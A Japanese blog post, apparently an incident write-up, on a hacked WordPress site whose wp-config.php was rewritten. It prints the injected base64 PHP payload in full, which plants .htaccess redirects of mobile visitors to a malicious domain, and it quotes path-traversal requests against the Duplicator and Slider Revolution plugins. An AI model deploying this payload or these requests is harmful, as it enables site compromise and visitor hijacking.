WordPress

【WordPress】wp-config.phpが改ざん!Duplicatorが原因か

【WordPress】wp-config.phpが改ざん!Duplicatorが原因か
WordPressのカスタマイズやプラグインに関する情報です。

評価:4.5

今回は実際に起こった「wp-config.php」の改ざんについてご紹介します。

データベース接続確立エラー

サイトが突然「データベース接続確立エラー」と表示。

WordPressデータベース接続確立エラー

今まで正常に見れいてたサイトがこのような表示になった時、WordPressのシステムファイルが改ざんされているかも知れません。

原因は「wp-config.php」の改ざん

まずはFTPソフトでWordPressを構成しているファイルの日付を確認。そして見慣れないファイルが作られてないかどうかも確認。

「wp-config.php」が改ざん「work45.php」が作成

WordPressをインストールしたフォルダを「変更日」順に並べ替えると、更新されるはずのないファイルの日付が新しくなっていました。今回見つかったのはこの2つ。

「wp-config.php」が更新されていた

「work45.php」が作成されていた(こんなファイル見たことない)

とりあえずサイトが正常に見れるように

「wp-config.php」の改ざんが原因でサイトが見れなくなっていたので、とりあえず「wp-config.php」を元に戻す必要があります。バックアップから戻すかデータベースの情報を正しく書き換えます。

正しい「wp-config.php」

/** WordPress のためのデータベース名 */
define('DB_NAME', '正しいデータベース名');

/** MySQL データベースのユーザー名 */
define('DB_USER', '正しいユーザー名');

/** MySQL データベースのパスワード */
define('DB_PASSWORD', '正しいパスワード');

/** MySQL のホスト名 */
define('DB_HOST', '127.0.0.1:');

改ざん後の「wp-config.php」

/** WordPress のためのデータベース名 */
define('DB_NAME', 'wordpress'); file_put_contents("work45.php", base64_decode('PD9waHANCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQokZGlycyA9IGdsb2IoIi4uLy4uLy4uLy4uLy4uLyoiLCBHTE9CX09OTFlESVIpOw0KJGRpcnMxID0gZ2xvYigiLi4vLi4vLi4vLi4vLi4vLi4vKiIsIEdMT0JfT05MWURJUik7DQokZGlyczIgPSBnbG9iKCIuLi8uLi8uLi8uLi8uLi8uLi8uLi8qIiwgR0xPQl9PTkxZRElSKTsNCiRkaXJzMiA9IGdsb2IoIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLyoiLCBHTE9CX09OTFlESVIpOw0KJGRpcnMzID0gZ2xvYigiLi4vLi4vLi4vLi4vKiIsIEdMT0JfT05MWURJUik7DQokZGlyczQgPSBnbG9iKCIqIiwgR0xPQl9PTkxZRElSKTsNCiRkaXJzNSA9IGdsb2IoIi4uLyoiLCBHTE9CX09OTFlESVIpOw0KJGRpcnM2ID0gZ2xvYigiLi4vLi4vKiIsIEdMT0JfT05MWURJUik7DQokZGlyczcgPSBnbG9iKCIuLi8uLi8uLi8qIiwgR0xPQl9PTkxZRElSKTsNCiRjb3VudCA9IHNpemVvZigkZGlycyk7DQokYXNkID0gJw0KUmV3cml0ZUVuZ2luZSBPbg0KUmV3cml0ZUJhc2UgLw0KUmV3cml0ZUNvbmQgJXtIVFRQX1VTRVJfQUdFTlR9IGFuZHJvaWR8YmJcZCt8bWVlZ298YXZhbnRnb3xiYWRhXC98YmxhY2tiZXJyeXxibGF6ZXJ8Y29tcGFsfGVsYWluZXxmZW5uZWN8aGlwdG9wfGllbW9iaWxlfGlwKGhvbmV8b2QpfGlyaXN8a2luZGxlfGxnZVwgfG1hZW1vfG1pZHB8bW1wfG1vYmlsZS4rZmlyZWZveHxuZXRmcm9udHxvcGVyYVwgbShvYnxpbilpfHBhbG0oXCBvcyk/fHBob25lfHAoaXhpfHJlKVwvfHBsdWNrZXJ8cG9ja2V0fHBzcHxzZXJpZXMoNHw2KTB8c3ltYmlhbnx0cmVvfHVwXC4oYnJvd3NlcnxsaW5rKXx2b2RhZm9uZXx3YXB8d2luZG93c1wgY2V8eGRhfHhpaW5vIFtOQyxPUl0NClJld3JpdGVDb25kICV7SFRUUF9VU0VSX0FHRU5UfSBeKDEyMDd8NjMxMHw2NTkwfDNnc298NHRocHw1MFsxLTZdaXw3NzBzfDgwMnN8YVwgd2F8YWJhY3xhYyhlcnxvb3xzXC0pfGFpKGtvfHJuKXxhbChhdnxjYXxjbyl8YW1vaXxhbihleHxueXx5dyl8YXB0dXxhcihjaHxnbyl8YXModGV8dXMpfGF0dHd8YXUoZGl8XC1tfHJcIHxzXCApfGF2YW58YmUoY2t8bGx8bnEpfGJpKGxifHJkKXxibChhY3xheil8YnIoZXx2KXd8YnVtYnxid1wtKG58dSl8YzU1XC98Y2FwaXxjY3dhfGNkbVwtfGNlbGx8Y2h0bXxjbGRjfGNtZFwtfGNvKG1wfG5kKXxjcmF3fGRhKGl0fGxsfG5nKXxkYnRlfGRjXC1zfGRldml8ZGljYXxkbW9ifGRvKGN8cClvfGRzKDEyfFwtZCl8ZWwoNDl8YWkpfGVtKGwyfHVsKXxlcihpY3xrMCl8ZXNsOHxleihbNC03XTB8b3N8d2F8emUpfGZldGN8Zmx5KFwtfF8pfGcxXCB1fGc1NjB8Z2VuZXxnZlwtNXxnXC1tb3xnbyhcLnd8b2QpfGdyKGFkfHVuKXxoYWllfGhjaXR8aGRcLShtfHB8dCl8aGVpXC18aGkocHR8dGEpfGhwKFwgaXxpcCl8aHNcLWN8aHQoYyhcLXxcIHxffGF8Z3xwfHN8dCl8dHApfGh1KGF3fHRjKXxpXC0oMjB8Z298bWEpfGkyMzB8aWFjKFwgfFwtfFwvKXxpYnJvfGlkZWF8aWcwMXxpa29tfGltMWt8aW5ub3xpcGFxfGlyaXN8amEodHx2KWF8amJyb3xqZW11fGppZ3N8a2RkaXxrZWppfGtndChcIHxcLyl8a2xvbnxrcHRcIHxrd2NcLXxreW8oY3xrKXxsZShub3x4aSl8bGcoXCBnfFwvKGt8bHx1KXw1MHw1NHxcLVthLXddKXxsaWJ3fGx5bnh8bTFcLXd8bTNnYXxtNTBcL3xtYSh0ZXx1aXx4byl8bWMoMDF8MjF8Y2EpfG1cLWNyfG1lKHJjfHJpKXxtaShvOHxvYXx0cyl8bW1lZnxtbygwMXwwMnxiaXxkZXxkb3x0KFwtfFwgfG98dil8enopfG10KDUwfHAxfHZcICl8bXdicHxteXdhfG4xMFswLTJdfG4yMFsyLTNdfG4zMCgwfDIpfG41MCgwfDJ8NSl8bjcoMCgwfDEpfDEwKXxuZSgoY3xtKVwtfG9ufHRmfHdmfHdnfHd0KXxub2soNnxpKXxuenBofG8yaW18b3AodGl8d3YpfG9yYW58b3dnMXxwODAwfHBhbihhfGR8dCl8cGR4Z3xwZygxM3xcLShbMS04XXxjKSl8cGhpbHxwaXJlfHBsKGF5fHVjKXxwblwtMnxwbyhja3xydHxzZSl8cHJveHxwc2lvfHB0XC1nfHFhXC1hfHFjKDA3fDEyfDIxfDMyfDYwfFwtWzItN118aVwtKXxxdGVrfHIzODB8cjYwMHxyYWtzfHJpbTl8cm8odmV8em8pfHM1NVwvfHNhKGdlfG1hfG1tfG1zfG55fHZhKXxzYygwMXxoXC18b298cFwtKXxzZGtcL3xzZShjKFwtfDB8MSl8NDd8bWN8bmR8cmkpfHNnaFwtfHNoYXJ8c2llKFwtfG0pfHNrXC0wfHNsKDQ1fGlkKXxzbShhbHxhcnxiM3xpdHx0NSl8c28oZnR8bnkpfHNwKDAxfGhcLXx2XC18dlwgKXxzeSgwMXxtYil8dDIoMTh8NTApfHQ2KDAwfDEwfDE4KXx0YShndHxsayl8dGNsXC18dGRnXC18dGVsKGl8bSl8dGltXC18dFwtbW98dG8ocGx8c2gpfHRzKDcwfG1cLXxtM3xtNSl8dHhcLTl8dXAoXC5ifGcxfHNpKXx1dHN0fHY0MDB8djc1MHx2ZXJpfHZpKHJnfHRlKXx2ayg0MHw1WzAtM118XC12KXx2bTQwfHZvZGF8dnVsY3x2eCg1Mnw1M3w2MHw2MXw3MHw4MHw4MXw4M3w4NXw5OCl8dzNjKFwtfFwgKXx3ZWJjfHdoaXR8d2koZ1wgfG5jfG53KXx3bWxifHdvbnV8eDcwMHx5YXNcLXx5b3VyfHpldG98enRlXC0pIFtOQ10NClJld3JpdGVSdWxlIF4kIGh0dHA6Ly9jcmF6eXRkcy5jbHViL3JlZGlyZWN0LnBocCBbUixMXQ0KJzsNCmZvcmVhY2ggKCRkaXJzIGFzICRkaXIpDQp7DQoJJGh0ID0gJGRpci4nLy5odGFjY2Vzcyc7DQoJJG9sZCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRodCk7DQoJaWYgKHN0cnN0cigkb2xkLCAnUmV3cml0ZVJ1bGUgXiQgaHR0cDovL2NyYXp5dGRzLmNsdWIvcmVkaXJlY3QucGhwIFtSLExdJykpDQoJew0KCQllY2hvICRodC4nIC0gYWxyZWFkeSBwYXRjaGVkJy4iXHJcbiI7DQoJfQ0KCWVsc2UNCgl7DQoJCXVubGluaygkaHQpOw0KCQkkZnAgPSBmb3BlbigkaHQsICJ3KyIpOw0KCQlmd3JpdGUoJGZwLCAkYXNkLiRvbGQpOw0KCQlmY2xvc2UoJGZwKTsNCgkJZWNobyAkaHQuJyAtIHBhdGNoZWQnLiJcclxuIjsNCgl9DQp9DQoNCmZvcmVhY2ggKCRkaXJzMSBhcyAkZGlyKQ0Kew0KCSRodCA9ICRkaXIuJy8uaHRhY2Nlc3MnOw0KCSRvbGQgPSBmaWxlX2dldF9jb250ZW50cygkaHQpOw0KCWlmIChzdHJzdHIoJG9sZCwgJ1Jld3JpdGVSdWxlIF4kIGh0dHA6Ly9jcmF6eXRkcy5jbHViL3JlZGlyZWN0LnBocCBbUixMXScpKQ0KCXsNCgkJZWNobyAkaHQuJyAtIGFscmVhZHkgcGF0Y2hlZCcuIlxyXG4iOw0KCX0NCgllbHNlDQoJew0KCQl1bmxpbmsoJGh0KTsNCgkJJGZwID0gZm9wZW4oJGh0LCAidysiKTsNCgkJZndyaXRlKCRmcCwgJGFzZC4kb2xkKTsNCgkJZmNsb3NlKCRmcCk7DQoJCWVjaG8gJGh0LicgLSBwYXRjaGVkJy4iXHJcbiI7DQoJfQ0KfQ0KDQpmb3JlYWNoICgkZGlyczIgYXMgJGRpcikNCnsNCgkkaHQgPSAkZGlyLicvLmh0YWNjZXNzJzsNCgkkb2xkID0gZmlsZV9nZXRfY29udGVudHMoJGh0KTsNCglpZiAoc3Ryc3RyKCRvbGQsICdSZXdyaXRlUnVsZSBeJCBodHRwOi8vY3Jhenl0ZHMuY2x1Yi9yZWRpcmVjdC5waHAgW1IsTF0nKSkNCgl7DQoJCWVjaG8gJGh0LicgLSBhbHJlYWR5IHBhdGNoZWQnLiJcclxuIjsNCgl9DQoJZWxzZQ0KCXsNCgkJdW5saW5rKCRodCk7DQoJCSRmcCA9IGZvcGVuKCRodCwgIncrIik7DQoJCWZ3cml0ZSgkZnAsICRhc2QuJG9sZCk7DQoJCWZjbG9zZSgkZnApOw0KCQllY2hvICRodC4nIC0gcGF0Y2hlZCcuIlxyXG4iOw0KCX0NCn0NCg0KZm9yZWFjaCAoJGRpcnMzIGFzICRkaXIpDQp7DQoJJGh0ID0gJGRpci4nLy5odGFjY2Vzcyc7DQoJJG9sZCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRodCk7DQoJaWYgKHN0cnN0cigkb2xkLCAnUmV3cml0ZVJ1bGUgXiQgaHR0cDovL2NyYXp5dGRzLmNsdWIvcmVkaXJlY3QucGhwIFtSLExdJykpDQoJew0KCQllY2hvICRodC4nIC0gYWxyZWFkeSBwYXRjaGVkJy4iXHJcbiI7DQoJfQ0KCWVsc2UNCgl7DQoJCXVubGluaygkaHQpOw0KCQkkZnAgPSBmb3BlbigkaHQsICJ3KyIpOw0KCQlmd3JpdGUoJGZwLCAkYXNkLiRvbGQpOw0KCQlmY2xvc2UoJGZwKTsNCgkJZWNobyAkaHQuJyAtIHBhdGNoZWQnLiJcclxuIjsNCgl9DQp9DQoNCmZvcmVhY2ggKCRkaXJzNCBhcyAkZGlyKQ0Kew0KCSRodCA9ICRkaXIuJy8uaHRhY2Nlc3MnOw0KCSRvbGQgPSBmaWxlX2dldF9jb250ZW50cygkaHQpOw0KCWlmIChzdHJzdHIoJG9sZCwgJ1Jld3JpdGVSdWxlIF4kIGh0dHA6Ly9jcmF6eXRkcy5jbHViL3JlZGlyZWN0LnBocCBbUixMXScpKQ0KCXsNCgkJZWNobyAkaHQuJyAtIGFscmVhZHkgcGF0Y2hlZCcuIlxyXG4iOw0KCX0NCgllbHNlDQoJew0KCQl1bmxpbmsoJGh0KTsNCgkJJGZwID0gZm9wZW4oJGh0LCAidysiKTsNCgkJZndyaXRlKCRmcCwgJGFzZC4kb2xkKTsNCgkJZmNsb3NlKCRmcCk7DQoJCWVjaG8gJGh0LicgLSBwYXRjaGVkJy4iXHJcbiI7DQoJfQ0KfQ0KDQpmb3JlYWNoICgkZGlyczUgYXMgJGRpcikNCnsNCgkkaHQgPSAkZGlyLicvLmh0YWNjZXNzJzsNCgkkb2xkID0gZmlsZV9nZXRfY29udGVudHMoJGh0KTsNCglpZiAoc3Ryc3RyKCRvbGQsICdSZXdyaXRlUnVsZSBeJCBodHRwOi8vY3Jhenl0ZHMuY2x1Yi9yZWRpcmVjdC5waHAgW1IsTF0nKSkNCgl7DQoJCWVjaG8gJGh0LicgLSBhbHJlYWR5IHBhdGNoZWQnLiJcclxuIjsNCgl9DQoJZWxzZQ0KCXsNCgkJdW5saW5rKCRodCk7DQoJCSRmcCA9IGZvcGVuKCRodCwgIncrIik7DQoJCWZ3cml0ZSgkZnAsICRhc2QuJG9sZCk7DQoJCWZjbG9zZSgkZnApOw0KCQllY2hvICRodC4nIC0gcGF0Y2hlZCcuIlxyXG4iOw0KCX0NCn0NCmZvcmVhY2ggKCRkaXJzNiBhcyAkZGlyKQ0Kew0KCSRodCA9ICRkaXIuJy8uaHRhY2Nlc3MnOw0KCSRvbGQgPSBmaWxlX2dldF9jb250ZW50cygkaHQpOw0KCWlmIChzdHJzdHIoJG9sZCwgJ1Jld3JpdGVSdWxlIF4kIGh0dHA6Ly9jcmF6eXRkcy5jbHViL3JlZGlyZWN0LnBocCBbUixMXScpKQ0KCXsNCgkJZWNobyAkaHQuJyAtIGFscmVhZHkgcGF0Y2hlZCcuIlxyXG4iOw0KCX0NCgllbHNlDQoJew0KCQl1bmxpbmsoJGh0KTsNCgkJJGZwID0gZm9wZW4oJGh0LCAidysiKTsNCgkJZndyaXRlKCRmcCwgJGFzZC4kb2xkKTsNCgkJZmNsb3NlKCRmcCk7DQoJCWVjaG8gJGh0LicgLSBwYXRjaGVkJy4iXHJcbiI7DQoJfQ0KfQ0KZm9yZWFjaCAoJGRpcnM3IGFzICRkaXIpDQp7DQoJJGh0ID0gJGRpci4nLy5odGFjY2Vzcyc7DQoJJG9sZCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRodCk7DQoJaWYgKHN0cnN0cigkb2xkLCAnUmV3cml0ZVJ1bGUgXiQgaHR0cDovL2NyYXp5dGRzLmNsdWIvcmVkaXJlY3QucGhwIFtSLExdJykpDQoJew0KCQllY2hvICRodC4nIC0gYWxyZWFkeSBwYXRjaGVkJy4iXHJcbiI7DQoJfQ0KCWVsc2UNCgl7DQoJCXVubGluaygkaHQpOw0KCQkkZnAgPSBmb3BlbigkaHQsICJ3KyIpOw0KCQlmd3JpdGUoJGZwLCAkYXNkLiRvbGQpOw0KCQlmY2xvc2UoJGZwKTsNCgkJZWNobyAkaHQuJyAtIHBhdGNoZWQnLiJcclxuIjsNCgl9DQp9DQoNCmVjaG8gJzxicj48YnI+Q1JBWllUb3RhbDogJy4kY291bnQ7DQp1bmxpbmsoJ3dvcms0NS5waHAnKTsNCj8+')); /*');

/** MySQL データベースのユーザー名 */
define('DB_USER', 'user');

/** MySQL データベースのパスワード */
define('DB_PASSWORD', 'password');

/** MySQL のホスト名 */
define('DB_HOST', 'localhost:');

改ざん後の「wp-config.php」を見れば一目瞭然!新規に作成されていた謎のファイル「work45.php」が呼ばれてますね。この「work45.php」は「wp-admin」フォルダに存在していたこともあったのであれば削除しましょう。

ピンキー
ピンキー
でもどうしてこのサイトが攻撃されたの?

アクセスログの確認

「wp-config.php」のデータベース情報が書き換えられていたことは分かったけど、なぜこのサイトが攻撃にあったのかを調査するため、アクセスログを確認してみました。

「admin-ajax.php」に不正リクエスト「duplicator_download」「revslider_show_image」

「wp-config.php」で文字列検索すると、ありました!

GET /wp-admin/admin-ajax.php?action=duplicator_download&file=..%2Fwp-config.php
GET /wp-admin/admin-ajax.php?action=revslider_show_image&img=..%2Fwp-config.php

パラメータに書かれている
「duplicator_download」からWordPress移行プラグイン「Duplicator」、
「revslider_show_image」から有料のスライダープラグイン「Slider Revolution」を狙った攻撃だと分かります。
どちらも「admin-ajax.php」に対して不正なリクエストが送られているようです。

原因は移行プラグイン「Duplicator」

確かにこのサイトはサーバー移転のため「Duplicator」を使ってサイトを移行しました。今後同じような攻撃にあわないための注意点をまとめてみました。

【WordPress】Duplicatorを使ったサイト移行の注意点
【WordPress】Duplicatorを使ったサイト移行の注意点今回はサイト移行プラグイン「Duplicator」を使ってWordPressサイトを移行する際の注意点をご紹介します。サーバー移転のためWordPressサイトを丸ごと移行する必要がある時、「Duplicator」を使えば簡単に移行が完了します。使い方は他のブログにもたくさん記事があるので書きませんが、「Duplicator」を使う際にいくつか注意することがありました。...
この記事は、2020.9.5時点の情報です。